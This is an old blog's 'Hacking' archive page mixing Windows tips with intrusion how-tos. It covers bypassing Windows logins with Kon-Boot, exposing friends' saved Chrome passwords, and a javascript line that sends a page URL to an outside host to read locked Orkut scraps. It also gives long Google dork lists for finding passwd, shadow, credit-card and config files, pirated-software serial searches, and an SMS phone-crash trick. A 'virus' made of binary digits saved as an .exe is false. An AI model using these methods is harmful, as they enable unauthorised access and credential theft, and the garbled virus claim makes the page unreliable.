Showing posts with label Hacking. Show all posts
Showing posts with label Hacking. Show all posts

Saturday, November 24, 2012

Access another user Account with Admin rights

Lost your Windows password? Here’s what you can do to get around



Due to the security features built into Windows XP, it is virtually impossible to get back into the system without the password.
You have several options to try and get around this problem.
If you have access to another user account with administrator rights, you can use that account to change the password of the account that is locked out. You can also use the default Administrator account that is built into Windows XP.
First you need to boot the system into Safe Mode.
  1. Restart your system.
  2. When you see the blue screen, press the ( F8 ) key about 3 times a second.
  3. You should get the Windows startup menu. Use the (Up or Down) arrow keys to highlight (SafeMode).
  4. Press (Enter) on (Safe Mode), then press (Enter) on (Windows XP).
  5. The system should boot to Safe Mode.
Once you are at the Account Log on Screen, click on the icon for the user account with administrator rights, or click on the icon for the administrators account.
Note: For Home the Administrator account isn’t normally shown & in Safe Mode you have to press Ctrl+Alt+Delete keys twice to show. For PRO you can do this in normal mode
When the system has booted to the desktop, use the following steps to change the accounts password.
  1. Click Start, Control Panel, Administrative Tools.
  2. Click Computer Management.
  3. Double click Local Users and Groups, double click the folder Users.
  4. Right click on the account name that is locked out, and click on Set Password.
  5. You may get a warning message about changing the password, simply click proceed.
  6. Leave the New Password box blank, also leave the Confirm Password box blank.
  7. Click OK, and OK again.
  8. Then close all Windows, reboot the system and try to log in.
There are also applications that can recover the password for you.
If the above information does not help in recovering the password, the only option left is to format the hard drive then reinstall Windows and the system software.


Friday, November 09, 2012

How to login without password windows xp/7


Logon to any password protected Windows machine without knowing the password


Today we will show you proof of concept on how you can log on to any password protected Windows machine, without knowing the password at all. I am sure you have heard of utilities which will "reset" or "recover the Windows login password for you, but this is way cooler than that, this utility will not write or reset anything to the hard drive. After you are done, on the next reboot the machine will retain its original password. There is no "reset" or lengthy recovery involved. The 5 step process is so easy that after you have seen this, you will be shaking your head
We are going to demonstrate this process on a Windows XP service pack 3 machine, but the process is essentially exactly the same for other versions of Windows such as Windows 7, Vista, Windows Server 2003 or even Windows 2000 workstation and server.
Most of the magic will be done by a nifty utility from Kryptos logic called Kon-Boot, which you can download from its web page located athttp://www.piotrbania.com/all/kon-boot/. This same utility can also be used to log on to Linux systems, but that is outside the scope of this article, we will concentrate only on Windows.
You will need to download the .iso file from the Kon-Boot website and burn it to a CD. If you need instructions on how to burn a CD from an iso image using a free tool, you can read up on it on our article here. Next, make sure that the BIOS is set to boot from the CD drive. With the CD in the drive, boot the machine
Step1:
- After the machine boots from the CD, you will see the splash screen as shown on the left hand side. Simply hit enter to continue

Step 2:
- After hitting enter in the previous step, you will find this second splash screen. This is important as as soon as you hit enter on this screen, you will be taken to the next step, which is booting Windows, there are no other steps to configure here. In a few minutes, the normal Windows boot menu will appear, just proceed as you normally do in your normal logon sequence to Windows

Step 3:
- On Windows Logon screen, fill in the name of the user whom you want to log on as, leave the password blank and hit enter

Step 4:
- Olla! you are logged in! and what's the coolest thing, you have not reset the password for the account at all. It simply let you in because it interacted with the kernel directly using Linux. No alteration was done to any hard drive content at all during the process of logging in.

Step 5:
- Remove the CD from the drive, and reboot. Your machine will now present you the normal ctrl+alt+del screen like it always use to, try logging on with the username we tried before with the blank password! The blank password will not work, you can only get in if you knew what the right password was..this demonstrates that the user password was never reset, it still is what it use to be.

As you can see that this nifty little cd can be of many uses, you do not need to reinstall or repair Windows if you have forgotten your password. If you are locked out, you can use this to log in as well. It also brings raises a question on Windows security. Once again, this method is exceptionally fast and does not actually reset the password. If you have for some reason the need to "recover" and "reveal" a user's password, you can use the tutorial I wrote earlier here and it will actually show you what the password is.
If the method I described above, is being used to gain unauthorized access to then there are really only two ways of protecting against such an intrusion:
1. Block Physical access to the machine or prevent users from hooking in USB devices or booting from CD ROMs and floppies
2. Encrypt your sensitive data. We will cover a step by step article on how to use encryption to protect your data in a forthcoming article
Hopefully this has been informative for you. If you have any further questions, please do leave us a comment or contact us through the Contact Us link on this web site.


You might also like:

HackingWindows Xp

Download youtube videos without any sofware


Wednesday, November 07, 2012

Make your computer talk what you type



              This is very good and interesting javascript trick which let your computer speaks whatever you type. There is no requirement of any software. Just follow belowsimple steps.

  • First open Notepad and copy below codes
     Dim message, sapi
      message=InputBox("What do you want me to say?","COOL HACKING TRICKS")
     Set sapi=CreateObject("sapi.spvoice")
     sapi.Speak message
  • Now save the notepad file as talk.vbs
  • Now close the notepad file and open it again.
  • Done !!!

Enable Registry Editor disabled by Admin




  • What is Registry ?
        Windows registry is hierarchical database that stores configuration setting and option on microsoft windows operating system.It contains settings for low level operating system component as well as applications running on windows.
        Registry is also called as Brain of Windows which store all information in form ofregistry keys Technically known as DWORD or STRING or BINARY or MULTI_STRING values which stores data.



  • How to enable Registry Editor disabled by Admin ?
         1. Open Notepad and copy below codes.

 REGEDIT4
 [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System]
 "DisableRegistryTools"=dword:00000000

         2. Now save the file as anything.reg (.reg is must)
         3. Double click the save file.
         4. Done !!



Download youtube videos without any sofware




                    This is simple trick which will allow you to download youtube videoswithout any software and in different formats such as mpeg4, 3gp, hd and many more.

  • First Go to Youtube webpage.

  • Then go to video you want to download.


  • Now add save before youtube and press enter.

  • Now you will be redirected to a new page from where you can download videoin any format of your choice

       NOTE: In place of save you can also use kick



How to block unblock websites



  • Go to Start and then Run.
  • Type in this C:\WINDOWS\system32\drivers\etc
  • Now you will see file name Host open that in Notepad.
  • Below "127.0.0.1 localhost" add IP address of site to be blocked.
  • To unblock any site just reversed the process.
     
      EXAMPLE
     127.0.0.1 localhost
     69.171.224.14    (This will block Facebook)
     NOTE: For each site you block just add "1" to the IP (127.0.0.1)



You might also like:

Hacking Windows Xp



  • Get ready for some down-and-dirty hackin'! Over 200 serious hacks readers can use to force Windows XP to do it their way, written in the ExtremeTech no-holds-barred style
  • Sinchak doesn't waste time tweaking Movie Maker or Instant Messenger-thesehacks are heavy-duty, detailed instructions for squeezing every drop of power from Windows XP and maximizing speed, appearance, and security
  • Not for the faint of heart! This book is written for users who aren't afraid to roll up their sleeves, risk voiding their warranties, take total control of the task bar, uninstall programs that are supposedly permanent, and beef up boot speed
  • Mines gems like unlocking hidden settings, customizing boot screens, supercharging online and program launch speed, maximizing the file system and RAM, and dumping hated features for good
  • Written by the creator of TweakXP.com, a site considered Mecca for Windows hackers and trusted by more than ten million Windows XP users worldwide
  • Includes a hacker's dream CD-ROM with a set of ready-to-install hacks, theme creation tools, custom boot screens, "undo" files that help the reader tinker with Windows XP's registry, and a whole lot more



Virus to Format Hard Disk !!!



                     Today i will show you how to make a virus to format Hard disk. You cansend this file to your friend or enemy to format their Hard disk. But please dont try thison your own computer or else you will end up formatting your own computer.
  • Copy the below codes into Notepad.
01001011000111110010010101010101010000011111100000 
  • Save the file as Format.exe
  • You have created your virus. Enjoy !!! 


How to view saved password in google chrome ?





Previously i had showed you how to view password behind asterisk. In this post i will show you a simple but very powerfull trick  to view or hack saved password in googlechrome. It does not  matter for which website the password is saved it will work on all of them. It will work on Facebook, Gmail, Yahoo, twitter and many more. If you get your hands on your friend computer  you can hack their password with this simple little trick. It does not require any software or addons to be installed on your computer. Lets get started.

How to do that ?


1. Open any website where password is saved by user. Here i will demonstrate with facebook but it will work on any website.
2. Right click on password(Dots or asterisks) as shown in below image.
3.Then click on Inspect element.

4.Then change Password to text as shown in below picture.

  • Before changing it will look like below:


  •  After changing it will look like below:


5. Done now asterisk or dots will changed to text. Still confused or did not got any steps then watch video below but make sure to watch it in high defination. If you like it then like the video.

Still confused watch the video below






You might also like:


Restrict access to USB drives

Tuesday, February 22, 2011

Hacking

HACK USING GOOGLE

by Mahendra Reddy
         Google search engine can be used to hack into remote servers or gather confidential or sensitive information which are not visible through common searches.

Google is the world’s most popular and powerful search engine. It has the ability to accept pre-defined commands as inputs which then produces unbelievable results.

Google’s Advanced Search Query Syntax

Discussed below are various Google’s special commands and I shall be explaining each command in brief and will show how it can be used for getting confidential data.

[ intitle: ]

The “intitle:” syntax helps Google restrict the search results to pages containing that word in the title.

intitle: login password


will return links to those pages that has the word "login" in their title, and the word "password" anywhere in the page.

Similarly, if one has to query for more than one word in the page title then in that case “allintitle:” can be used instead of “intitle” to get the list of pages containing all those words in its title.

intitle: login intitle: password


is same as

allintitle: login password


[ inurl: ]

The “inurl:” syntax restricts the search results to those URLs containing the search keyword. For example: “inurl: passwd” (without quotes) will return only links to those pages that have "passwd" in the URL.

Similarly, if one has to query for more than one word in an URL then in that case “allinurl:” can be used instead of “inurl” to get the list of URLs containing all those search keywords in it.

allinurl: etc/passwd


will look for the URLs containing “etc” and “passwd”. The slash (“/”) between the words will be ignored by Google.

[ site: ]

The “site:” syntax restricts Google to query for certain keywords in a particular site or domain.

exploits site:hackingspirits.com


will look for the keyword “exploits” in those pages present in all the links of the domain “hackingspirits.com”. There should not be any space between “site:” and the “domain name”.

[ filetype: ]

This “filetype:” syntax restricts Google search for files on internet with particular extensions (i.e. doc, pdf or ppt etc).

filetype:doc site:gov confidential


will look for files with “.doc” extension in all government domains with “.gov” extension and containing the word “confidential” either in the pages or in the “.doc” file. i.e. the result will contain the links to all confidential word document files on the government sites.


[ link: ]

“link:” syntax will list down webpages that have links to the specified webpage.

link:www.expertsforge.com


will list webpages that have links pointing to the SecurityFocus homepage. Note there can be no space between the "link:" and the web page url.


[ related: ]

The “related:” will list web pages that are "similar" to a specified
web page.

related:www.expertsforge.com


will list web pages that are similar to the Securityfocus homepage. Note there can be no space between the "related:" and the web page url.


[ cache: ]

The query “cache:” will show the version of the web page that Google
has in its cache.

cache:www.hackingspirits.com


will show Google's cache of the Google homepage. Note there can be no space between the "cache:" and the web page url.

If you include other words in the query, Google will highlight those words within the cached document.

cache:www.hackingspirits.com guest


will show the cached content with the word "guest" highlighted.

[ intext: ]

The “intext:” syntax searches for words in a particular website. It ignores links or URLs and page titles.

intext:exploits


will return only links to those web pages that has the search keyword "exploits" in its webpage.


[ phonebook: ]

“phonebook” searches for U.S. street address and phone number information.

phonebook:Lisa+CA


will list down all names of person having “Lisa” in their names and located in “California (CA)”. This can be used as a great tool for hackers incase someone want to do dig personal information for social engineering.

Google Hacks

Well, the Google’s query syntaxes discussed above can really help people to precise their search and get what they are exactly looking for.

Now Google being so intelligent search engine, hackers don’t mind exploiting its ability to dig much confidential and secret information from the net which they are not supposed to know. Now I shall discuss those techniques in details how hackers dig information from the net using Google and how that information can be used to break into remote servers.

Index Of

Using “Index of ” syntax to find sites enabled with Index browsing

A webserver with Index browsing enabled means anyone can browse the webserver directories like ordinary local directories. The use of “index of” syntax to get a list links to webserver which has got directory browsing enabled will be discussd below. This becomes an easy source for information gathering for a hacker. Imagine if the get hold of password files or others sensitive files which are not normally visible to the internet. Below given are few examples using which one can get access to many sensitive information much easily.

Index of /admin
Index of /passwd
Index of /password
Index of /mail

"Index of /" +passwd
"Index of /" +password.txt
"Index of /" +.htaccess

"Index of /secret"
"Index of /confidential"
"Index of /root"
"Index of /cgi-bin"
"Index of /credit-card"
"Index of /logs"
"Index of /config"


Looking for vulnerable sites or servers using “inurl:” or “allinurl:”

a. Using “allinurl:winnt/system32/” (without quotes) will list down all the links to the server which gives access to restricted directories like “system32” through web. If you are lucky enough then you might get access to the cmd.exe in the “system32” directory. Once you have the access to “cmd.exe” and is able to execute it.


b. Using “allinurl:wwwboard/passwd.txt”(without quotes) in the Google search will list down all the links to the server which are vulnerable to “WWWBoard Password vulnerability”. To know more about this vulnerability you can have a look at the following link:

http://www.securiteam.com/exploits/2BUQ4S0SAW.html

c. Using “inurl:.bash_history” (without quotes) will list down all the links to the server which gives access to “.bash_history” file through web. This is a command history file. This file includes the list of command executed by the administrator, and sometimes includes sensitive information such as password typed in by the administrator. If this file is compromised and if contains the encrypted unix (or *nix) password then it can be easily cracked using “John The Ripper”.

d. Using “inurl:config.txt” (without quotes) will list down all the links to the servers which gives access to “config.txt” file through web. This file contains sensitive information, including the hash value of the administrative password and database authentication credentials.

For Example: Ingenium Learning Management System is a Web-based application for Windows based systems developed by Click2learn, Inc. Ingenium Learning Management System versions 5.1 and 6.1 stores sensitive information insecurely in the config.txt file. For more information refer the following
links: http://www.securiteam.com/securitynews/6M00H2K5PG.html

Other similar search using “inurl:” or “allinurl:” combined with other syntax


inurl:admin filetype:txt
inurl:admin filetype:db
inurl:admin filetype:cfg
inurl:mysql filetype:cfg
inurl:passwd filetype:txt
inurl:iisadmin
inurl:auth_user_file.txt
inurl:orders.txt
inurl:"wwwroot/*."
inurl:adpassword.txt
inurl:webeditor.php
inurl:file_upload.php

inurl:gov filetype:xls "restricted"
index of ftp +.mdb allinurl:/cgi-bin/ +mailto


Looking for vulnerable sites or servers using “intitle:” or “allintitle:”

a. Using [allintitle: "index of /root”] (without brackets) will list down the links to the web server which gives access to restricted directories like “root” through web. This directory sometimes contains sensitive information which can be easily retrieved through simple web requests.

b. Using [allintitle: "index of /admin”] (without brackets) will list down the links to the websites which has got index browsing enabled for restricted directories like “admin” through web. Most of the web application sometimes uses names like “admin” to store admin credentials in it. This directory sometimes contains sensitive information which can be easily retrieved through simple web requests.

Other similar search using “intitle:” or “allintitle:” combined with other syntax

intitle:"Index of" .sh_history
intitle:"Index of" .bash_history
intitle:"index of" passwd
intitle:"index of" people.lst
intitle:"index of" pwd.db
intitle:"index of" etc/shadow
intitle:"index of" spwd
intitle:"index of" master.passwd
intitle:"index of" htpasswd
intitle:"index of" members OR accounts
intitle:"index of" user_carts OR user_cart

allintitle: sensitive filetype:doc
allintitle: restricted filetype :mail
allintitle: restricted filetype:doc site:gov


Other interesting Search Queries

· To search for sites vulnerable to Cross-Sites Scripting (XSS) attacks:

allinurl:/scripts/cart32.exe
allinurl:/CuteNews/show_archives.php
allinurl:/phpinfo.php

To search for sites vulnerable to SQL Injection attacks:

allinurl:/privmsg.php
allinurl:/privmsg.php



info taken from sneaktech

How to hack locked scraps in ORKUT

by Mahendra Reddy


How To Use this Hack?

There are three ways to use this hack.You can choose the one that best suits you.

a> Login To Your Sandbox Profile and Directly View The Locked Scrapbook

b> Using this Javascript :

* Navigate to the profile which has disallowed non-friends to view his/her scrapbook
* Run this script in the address bar

* javascript:document.location=’http://scraphack.cspbrasil.com/ViewScraps.php?uid=’+encodeURIComponent(location.href);void(0)

* Wait for 4-5 seconds and you will get to see the scraps.

or
c> Userscript (Credits - D3 ) - The Recommended Method because you need not run any script again and again. Kindly follow the instructions stated below:

* Install Grease Monkey in case you don’t have it - Search for it on google (another way to resort to Firefox)
* Install View Locked Scrapbook Script
* In case you have any problems downloading or operating these scripts, you must read this tutorial.
 

this was taken from geek hack india 
 


Browse > Home / How to set Multiple homepages

How to set Multiple homages

by Mahendra Reddy

                       Now i am going to give you the wonderful feature that provided by firefox and Internet Explorer.We generally set google as a home page due to its usage and also for its fast loading and if anybody want multiple pages, then how to do? 

It is possible with PIPE symbol in keyboard for  firefox
1) CLICK ON TOOLS-->OPTIONS-->GENERAL TAB
2)TYPE LIKE BELOW

     LIKE
            http://www.google.com|http://www.yahoo.com
3) So if you open firefox, these two sites come into two tabs.

IN IE , we can add each site in a new line on the same path described above.

That's simple.

Get Serial No of any Software using google

by Mahendra Reddy
 
  We can get the serial keys of many soft wares using google search engine, let make a try. This is just for a beginner.

  So for beginners this is a simply way to find hack with less effort and it saves time to, But make sure you have anti virus activated before trying to get some Serials, Patches to avoid data loss

Just follow the steps as instructed below

1) Go to http://www.google.com
2) type this syntax in search bar " 94FBR "
3) Replace Product name with desired software and leave a space then type 94FBR
4) Press enter, thats it

Now you receive Many pages which contains Serial no, Crack, Patches....

Just make a try, this simple trick works for many people


How to Restart friends phone using sms

by Mahendra Reddy
  Here is a new trick to restart ur friends mobile via sms with this trick only 1110,1110i,1112,1100,2100 can be restarted. just type ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, or 79 inverted commas in text msg and send it to ur friend having cells mention above and see wat happens...

Difference between http:// & https://

by Mahendra Reddy

 READ THE BELOW POST TO KNOW THE DIFFERENCE BETWEEN HTTP AND HTTPS
      HTTP stands for HyperText Transport Protocol, which is just a fancy way of saying it’s a protocol (a language, in a manner of speaking) for information to be passed back and forth between web servers and clients.

The important thing is the letter S which makes the difference between HTTP and HTTPS.

The S  stands for “Secure”.

If you visit a website or webpage, and look at the address in the web browser, it will likely begin with the following: http://.
This means that the website is talking to your browser using the regular ‘unsecure’ language. In other words, it is possible for someone to “eavesdrop” on your computer’s conversation with the website. If you fill out a form on the website, someone might see the information you send to that site.This is why you never ever enter your credit card number in an http website! But if the web address begins with https://, that basically means your computer is talking to the website in a secure code that no one can eavesdrop on. You understand why this is so important, right? If a website ever asks you to enter your credit card information, you should automatically look to see if the web address begins with https://. If it doesn’t, there’s no way you’re going to enter sensitive information like a credit card number!



How to Create nameless files and folders in windows

by Mahendra Reddy 

 This gives you the information about how to create  folders with out names
Just follow the following steps:

1.Select any file or folder.
2.Right click on it, press rename or simply press F2.
3.Press and hold the alt key. While holding the Alt key, type numbers 0160 from the numpad.
4.Press Enter and the nameless file or folder will be created.


But what if you want to create another nameless file or folder in the same directory ?


For this you will have to rename the file with 2 spaces. Just follow these steps below:

1.Select file, press F2.
2.Hold alt key and type 0160 from the numpad.
3.Release the alt key. Now without doing anything else, again hold alt key and press 0160.
4.Press enter and you will have second nameless file in the same directory.
5.Repeat step 3 to create as many nameless files or folders in the same directory.

How to change password of windows xp

by Mahendra Reddy
    here is way to change the password of WINDOWS OS from command line by entering command line

follow the below steps to do this

1) Start > Run > “cmd” [Enter],

 2) type -- "net user user name password" not quotes


(no need of old password)


 3) or you can type -- net user username
   it will ask for password


that's it

How to disable error reporting in WINDOWS

by Mahendra Reddy

            This article describes how to stop or disable error reporting in WINDOWS, this is really do annoying in some cases while operating. So this post will give you the disabling information.

This is the screen what generally u could get
.  And of course some people may need this report, but maximum NO.So giving you the steps
1) Open Control Panel (Start > Control Panel)
2) Select "System" --> "Advanced" choose "Error reporting"
3} Then move to the option disable error reporting Radio button, by default it is enabled.

That' it

VISTA 

1) Right click on my Computer(Desktop) and click properties
2) Click the Advanced Tab
3) You’ll see a “Error reporting” button at the bottom, click it
4) Select Disable Error Reporting.

Almost both are same. 



TOP HACKING TOOLS

by Mahendra Reddy
These are Top Hacking Tools,
 

Nessus
The “Nessus” Project aims to provide to the internet community a free, powerful, up-to-date and easy to use remote security scanner for Linux, BSD, Solaris, and other flavors of Unix.

Ethereal
Ethereal is a free network protocol analyzer for Unix and Windows. Ethereal has several powerful features, including a rich display filter language and the ability to view the reconstructed stream of a TCP session.

Snort
Snort is an open source network intrusion detection system capable of performing real-time traffic analysis and packet logging on IP networks.

Netcat
Netcat has been dubbed the network swiss army knife. It is a simple Unix utility which reads and writes data across network connections, using TCP or UDP protocol

TCPdump
TCPdump is the most used network sniffer/analyzer for UNIX.TCPtrace analyzes the dump file format generated by TCPdump and other applications.
Hping
Hping is a command-line oriented TCP/IP packet assembler/analyzer, kind of like the “ping” program (but with a lot of extensions).

DNSiff
DNSiff is a collection of tools for network auditing and penetration testing. dsniff, filesnarf, mailsnarf, msgsnarf, urlsnarf, and webspy passively monitor a network for interesting data (passwords, e-mail, files, etc.).

GFI LANguard
GFI LANguard Network Security Scanner (N.S.S.) automatically scans your entire network, IP by IP, and plays the devil’s advocate alerting you to security vulnerabilities.

Ettercap
Ettercap is a multipurpose sniffer/interceptor/logger for switched LAN. It supports active and passive dissection of many protocols (even ciphered ones)and includes many feature for network and host analysis.

Nikto
Nikto is an Open Source (GPL) web server scanner which performs comprehensive tests against webservers for multiple items, including over 2500 potentially dangerous files/CGIs, versions on over 375 servers, and version specific problems on over 230 servers.

John the Ripper
John the Ripper is a fast password cracker, currently available for many flavors of Unix.
OpenSSH
OpenSSH is a FREE version of the SSH protocol suite of network connectivity tools, which encrypts all traffic (including passwords) to effectively eliminate eavesdropping, connection hijacking, and other network-level attacks.

TripWire
Tripwire is a tool that can be used for data and program integrity assurance.

Kismet

Kismet is an 802.11 wireless network sniffer – this is different from a normal network sniffer (such as Ethereal or tcpdump) because it separates and identifies different wireless networks in the area.

NetFilter
NetFilter and iptables are the framework inside the Linux 2.4.x kernel which enables packet filtering, network address translation (NAT) and other packetmangling.

IP Filter
IP Filter is a software package that can be used to provide network address translation (NAT) or firewall service

pf
OpenBSD Packet Filter

fport
fport identifys all open TCP/IP and UDP ports and maps them to the owning application.

SAINT

SAINT network vulnerability assessment scanner detects vulnerabilities in your network’s security before they can be exploited.

OpenPGP

OpenPGP is a non-proprietary protocol for encrypting email using public key cryptography. It is based on PGP as originally developed by Phil Zimmermann.


-- This information taken from cracks and hacks blog.